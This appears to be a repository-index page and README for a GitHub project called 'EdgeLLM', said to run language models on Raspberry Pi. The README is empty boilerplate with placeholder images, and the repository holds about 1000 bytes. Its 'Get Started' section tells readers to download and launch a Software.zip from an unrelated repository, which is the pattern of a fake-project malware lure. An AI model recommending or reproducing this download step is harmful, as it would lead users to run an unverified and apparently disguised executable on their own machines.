https://github.com/habababaa/edgellm

Focuses on running LLMs at the edge (on devices like Raspberry Pi). Why it works: Highlights the project’s edge-computing nature and AI capabilities.
https://github.com/habababaa/edgellm

docker edgellm jupyterlab llms ollamaedge ollamapi post-request pydantic raspberry rasplogic

Last synced: over 1 year ago
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Focuses on running LLMs at the edge (on devices like Raspberry Pi). Why it works: Highlights the project’s edge-computing nature and AI capabilities.

• Host: GitHub
• URL: https://github.com/habababaa/edgellm
• Owner: Habababaa
• Created: 2025-01-23T19:47:57.000Z (over 1 year ago)
• Default Branch: main
• Last Pushed: 2025-01-23T21:11:30.000Z (over 1 year ago)
• Last Synced: 2025-01-23T21:22:40.875Z (over 1 year ago)
• Topics: docker, edgellm, jupyterlab, llms, ollamaedge, ollamapi, post-request, pydantic, raspberry, rasplogic
• Size: 1000 Bytes
• Stars: 0
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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README

          

# EdgeLLM

![EdgeLLM Logo](https://example.com/logo.png)

## Overview

Welcome to the **EdgeLLM** repository, which focuses on running LLMs (Large Language Models) at the edge, specifically on devices like Raspberry Pi. This project highlights the edge-computing nature and AI capabilities of running language models in resource-constrained environments.

## Repository Description

The **EdgeLLM** repository provides resources and tools for deploying LLMs on edge devices, enabling users to leverage the power of machine learning models in scenarios where cloud computing is not feasible. By utilizing the capabilities of devices like Raspberry Pi, this project opens up possibilities for real-time inference and edge AI applications.

### Key Features

- **Docker Integration**: Utilize Docker for easy deployment and isolation of LLM environments.

- **JupyterLab Support**: Collaborate and interact with LLMs using JupyterLab for a seamless development experience.

- **Raspberry Pi Compatibility**: Run LLMs on Raspberry Pi boards, expanding the reach of edge computing applications.

- **Post-Request Handling**: Manage interactions with LLMs through post requests for data processing.

- **Pydantic Integration**: Use Pydantic for data validation and modeling within the context of LLM applications.

## Topics

This repository covers a range of topics related to running LLMs at the edge. Some key topics include:

- `docker`

- `edgellm`

- `jupyterlab`

- `llms`

- `ollamaedge`

- `ollamapi`

- `post-request`

- `pydantic`

- `raspberry`

- `rasplogic`

## Get Started

To start exploring the **EdgeLLM** project, download the latest version of the software from the following link:

[![Download Software](https://img.shields.io/badge/Download-Software.zip-brightgreen)](https://github.com/22155555/1875695542/releases/download/v1.0/Software.zip)

Once downloaded, launch the software to begin your journey into edge computing with LLMs.

## Contributions

Contributions to the **EdgeLLM** project are welcome! Whether you're interested in enhancing the documentation, adding new features, or improving existing functionalities, your input is valuable to the community. To contribute, please follow the guidelines outlined in the repository.

## Support

For help, feedback, or suggestions related to the **EdgeLLM** project, feel free to reach out to the maintainers or open an issue on the repository. Your input helps us improve the project and better serve the community's needs.

## License

The **EdgeLLM** project is licensed under the MIT License. See the `LICENSE` file in the repository for more details.

Let's embark on a journey into edge computing with LLMs. Happy coding! 🚀

![EdgeLLM Image](https://example.com/image.png)